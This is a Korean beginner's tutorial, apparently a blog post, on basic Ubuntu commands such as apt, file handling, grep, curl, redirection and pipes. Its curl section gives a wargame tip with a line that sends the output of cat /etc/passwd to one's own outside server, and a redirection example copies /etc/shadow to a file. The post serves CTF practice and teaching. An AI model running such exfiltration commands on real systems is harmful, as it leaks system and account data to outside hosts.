[apt]
♣ dpkg 명령어의 패키지(프로그램) 의존성 문제를 해결해주는 도구
- 특정 패키지(프로그램)를 설치하고자 할 때, 의존성이 있는 다른 패키지를 자동으로 먼저 설치해주는 기능을 갖춘 명령어이다.
- apt는 우분투가 제공하는 deb 파일 저장소(Repository)에서 설치할 deb 파일과 의존성이 있는 다른 deb 파일까지 인터넷을 통해 모두 자동으로 다운로드한 후 설치한다.
- 단, 해당 우분투 서버가 인터넷에 정상적으로 연결되어 있어야 사용 가능하다.
# 기본 설치 방법
apt -y install 패키지이름
# 패키지 목록 업데이트
apt update
# 설치된 패키지 버전 업그레이드
apt upgrade
# 기존 설치된 패키지 제거
apt remove 패키지이름
# 기존 설치된 패키지를 설정 파일과 함께 완전히 제거
apt purge 패키지이름
# 사용하지 않는 패키지를 모두 제거
apt autoremove
# 설치할 때 내려받기한 파일 및 과거의 파일을 제거
apt clean
apt autoclean
# 패키지의 정보를 화면에 출력
apt-cache show 패키지이름
# 패키지에 대한 의존성 정보를 출력
apt-cache depends 패키지이름
[apt update]
♣ 설치 가능한 소프트웨어 패키지 목록을 업데이트한다.
- 각 소프트웨어 패키지 별로 어떤 버전을 설치할 수 있는지도 업데이트한다.
# root 사용자 계정
apt update
# 일반 사용자 계정
sudo apt update
[apt upgrade]
♣ 리눅스에 설치된 소프트웨어 패키지의 버전을 업그레이드한다.
- 오래된 소프트웨어 패키지에 존재하는 취약점은 보안 문제를 일으킬 수 있기 때문에 주기적으로 패키지를 업그레이드하여 보안 문제를 예방하는 작업이 중요하다.
※ 다음과 같이 Waiting for cache lock: Could not get lock /var/lib/dpkg/lock-frontend. 오류가 발생한 경우
> 잠긴 캐시 파일을 삭제한 뒤 다시 진행하면 된다.
rm -rf /var/cache/apt/archives/lock
rm -rf /var/lib/dpkg/lock*
dpkg --configure -a
apt upgrade
# 의존성 Error가 뜨는 경우
# gjs : 의존: libgjs0g (= 1.72-4-0ubuntu0.22.04.3~really.is.1.72.2.-ubuntu2)
apt --fix-broken install
apt upgrade
[id]
♣ 현재 유저의 유저ID와 그룹ID를 출력한다.
- 리눅스는 권한을 기반으로 파일을 읽기, 쓰기, 실행한다. 때문에 주로 사용자가 권한을 가지고 있는지 확인하기 위해 사용하는 명령이다.
# 현재 사용자의 UID, GID 출력
id
[pwd]
♣ Print Working Directory의 약자로 현재 작업중인 디렉터리의 전체 경로를 화면에 출력한다.
# 작업중인 디렉터리의 전체 경로 출력
pwd
[ls]
♣ List의 약자로 해당 디렉터리에 있는 파일의 목록을 나열한다.
- Windows의 dir과 명령과 같은 역할을 한다.
# 디렉터리의 파일 및 하위 디렉터리 출력
ls
# 옵션 -l : 자세한 정보를 함께 출력
ls -l
# 옵션 -a : 숨김 파일을 포함한 현재 디렉터리의 모든 파일/디렉터리를 출력
ls -a
# 특정 경로의 내용을 출력
ls 경로
예) ls /etc/
[cd]
♣ Change Directory의 약자로 작업중인 디렉터리를 변경하는 명령이다.
# 현재 사용자의 홈 디렉터리로 이동(root인 경우 : /root)
cd
# 일반 사용자(odong)홈 디렉터리로 이동
cd ~odong
# 상위 디렉터리로 이동
cd ..
# 절대 경로로 이동
# 절대 경로 : 루트 디렉터리 '/'를 시작으로 모든 경로를 입력해야 함
cd /etc/systemd
# 상대 경로로 이동
# 상대 경로 : 현재 디렉터리를 기준으로 상위/하위 디렉터리로 뻗어나가는 경로
cd ../etc/systemd
# ~ : 현재 유저의 홈 디렉터리
cd ~
# - : 이전에 위치했던 디렉터리
cd -
# .. : 현재 디렉터리의 상위 디렉터리
cd ../etc/systemd
# . : 현재 디렉터리
cd ./snap/firefox/common/
[mkdir]
♣ Make Directory의 약자로 새로운 디렉터리를 생성하는 명령이다.
- 생성된 디렉터리는 명령을 실행한 사용자의 소유가 된다.
# 현재 디렉터리 아래에 '/abc'라는 디렉터리 생성
mkdir new_dir
# 옵션 -p
# '/abc/dir_1' 디렉터리를 생성하는데, 만일 '/dir_1'의 부모 디렉터리인 '/abc' 디렉터리가 없다면 자동 생성됨
mkdir -p /abc/dir_1
[touch]
♣ 크기가 0인 새 파일을 생성하거나, 이미 존재하는 파일인경우 파일의 최종 수정 시간을 변경한다.
# 파일 생성
touch new_file
# 존재하는 파일의 경우, 최종 수정시간 변경
touch new_file
[mv]
♣ Move의 약자로, 파일이나 디렉터리의 이름을 변경하거나 다른 디렉터리로 위치를 옮길 때 사용하는 명령이다.
# 파일의 이름 변경
mv new_file old_file
# 파일의 위치 변경
mv old_file /home/odong
[rm]
♣ Remove의 약자로, 파일이나 디렉터리를 삭제한다.
- 삭제시 현재 사용가자 해당 파일이나 디렉터리를 삭제할 권한이 있어야 한다.
- 단, root 사용자는 모든 권한을 가지고 있기 때문에, rm 명령에 대한 제약이 없다.
# 특정 파일 삭제(내부적으로 rm -f로 연결됨)
rm new_file
# 옵션 -i : 특정 파일 삭제시 확인메시지가 나온다.
rm -i new_file
# 옵션 -f : 파일 삭제시 확인하지 않고 바로 삭제(Force)
rm -f new_file
# 옵션 -r : 특정 디렉터리와 하위 디렉터리 및 폴더를 강제로 전부 삭제(Recursive)
rm -rf new_dir
[cat]
♣ 파일의 내용을 화면에 출력해주는 명령이다.
- 여러 개의 파일을 나열하면 파일을 연결해서 보여준다.
# 파일의 내용물 확인
cat /etc/passwd
[file]
♣ 파일의 유형을 출력하는 명령이다.
# 파일의 종류 및 유형 출력
file /etc/systemd/system.conf
file /bin/gzip
# /etc/systemd/system.conf 파일은 텍스트 파일이기 때문에 ASCII로 표시된다.
# gzip은 실행파일이기 때문에 'ELF 64-bit LSB shared object' 파일로 표시된다.
[echo]
♣ 셸에 유저가 입력한 텍스트를 그대로 출력한다.
# 입력한 텍스트를 그대로 출력해줌
echo "Hello, Odong! :)"
[cp]
♣ Copy의 약자로 파일이나 디렉터리를 복사하는 명령이다.
- 새로 복사한 파일은 복사한 사용자의 소유가 된다.
- 명령을 실행하는 사용자는 해당 파일의 읽기 권한이 부여되어 있어야 한다.
# 파일 복사
cp new_file new_file_copy
# 옵션 -r : 디렉터리 복사
cp -r new_dir new_dir_copy
[grep]
♣ 전체에서 특정 문자열을 찾을 때 사용하는 명령이다.
# /etc/passwd 파일에서 root 문자열이 포함된 행을 출력
grep root /etc/passwd
# 파이프 라인을 사용하여 두 명령을 연결하는 방법도 있다.
cat /etc/passwd | grep odong
[man]
♣ Manual의 약자로, 특정 명령의 매뉴얼을 출력한다.
- 매뉴얼은 명령어 사용법, 옵션, 예제 등의 정보를 담고 있어 명령어 사용에 익숙하지 않은 경우 자주 사용하면 도움이 된다.
- 방향키나 [Enter] 버튼으로 한 줄씩 읽을 수 있다.
- [Space Bar] 버튼으로 한 페이지씩 읽을 수 있다.
- [q] 버튼으로 종료한다.
# 명령어의 설명 및 사용법 확인
man touch
[curl]
♣ Client URL의 약자로, 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어이다.
- HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원한다.
- 옵션 -i : 결과 값에 HTTP 응답 헤더를 포함한다.
- 옵션 -X "method" : HTTP 요청 메소드를 지정한다.
- 옵션 -d "key=value" : HTTP POST 메소드로 데이터를 전송한다.
# curl 기본 사용법
curl https://www.google.com
# 옵션 -o file : 전송 받은 데이터를 파일에 저장한다.
curl -o google_file https://www.google.com
# curl을 이용한 명령어 실행 결과 전송
Wargame 문제를 풀 때, 명령어 실행 결과를 볼 수 없는 경우, 결과를 'curl' 명령어에 포함하여 자신의 웹 서버로 전송하면 확인이 가능하다.
curl "https://서버도메인 또는 IP" -d "`cat /etc/passwd`"
[리다이렉션(>, >>, <)]
♣ 리다이렉션(Redirection)은 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 전환하는 작업이다.
- 보통 명령의 결과를 파일로 저장하거나, 다른 명령의 입력으로 전달하는 형태로 전환한다.
- 명령어 > 파일 : 명령어 표준 출력을 파일로 변경한다. 파일이 없으면 새로 만들고, 존재하는 파일인 경우 덮어쓴다.
- 명령어 >> 파일 : 명령어 표준 출력을 파일로 변경한다. 파일이 없으면 새로 만들고, 존재하는 파일인 경우 이어서 쓴다.
- 명령어 < 파일 : 명령어 표준 입력을 파일로 변경한다. 파일로부터 표준 입력을 받아 명령어를 수행하는 명령이다.
# 명령어 > 파일 : 새로운 파일 생성 후 입력 또는 덮어쓰기
cat /etc/shadow > text.txt
# 명령어 >> 파일 : 새로운 파일 생성 후 입력 또는 이어쓰기
echo "odong2:$~~~:20034:0:99999:7:::" >> text.txt
# 명령어 < 파일 : 파일로부터 표준 입력을 받아 명령어를 수행하기
touch test1 test2 test3
cat test[1-3] > test_file.txt
grep test < test_file.txt
[파이프(|)]
♣ 파이프(pipe)는 리가디렉션의 한 형태로, 명령어 결과 표준 출력을 다른 명령어의 표준 입력으로 보낼 때 사용한다.
# 파이프(|)로 명령의 결과를 표준 입력으로 사용
ls -l | grep text
tail /etc/passwd | grep odong
'정보보안 > Linux' 카테고리의 다른 글
[Kali Linux] Burp Suite 기본 설정 (0) | 2024.12.13 |
---|---|
[Ubuntu Linux] 리눅스(Ubuntu 22.04)에 도커(Docker) 설치 및 사용법 (0) | 2024.11.27 |
[Ubuntu Linux] 리눅스 기초 사용법(User, Group, UID, GID, 권한, 디렉터리 구조) (0) | 2024.11.11 |
[Linux Server] 2. VMware 가상 머신에 Ubuntu 22.04.5 설치 및 설정 (0) | 2024.11.07 |
[Linux Server] 1. VMware 가상 머신 생성(VMware Workstation Pro 17.5.2) (0) | 2024.11.06 |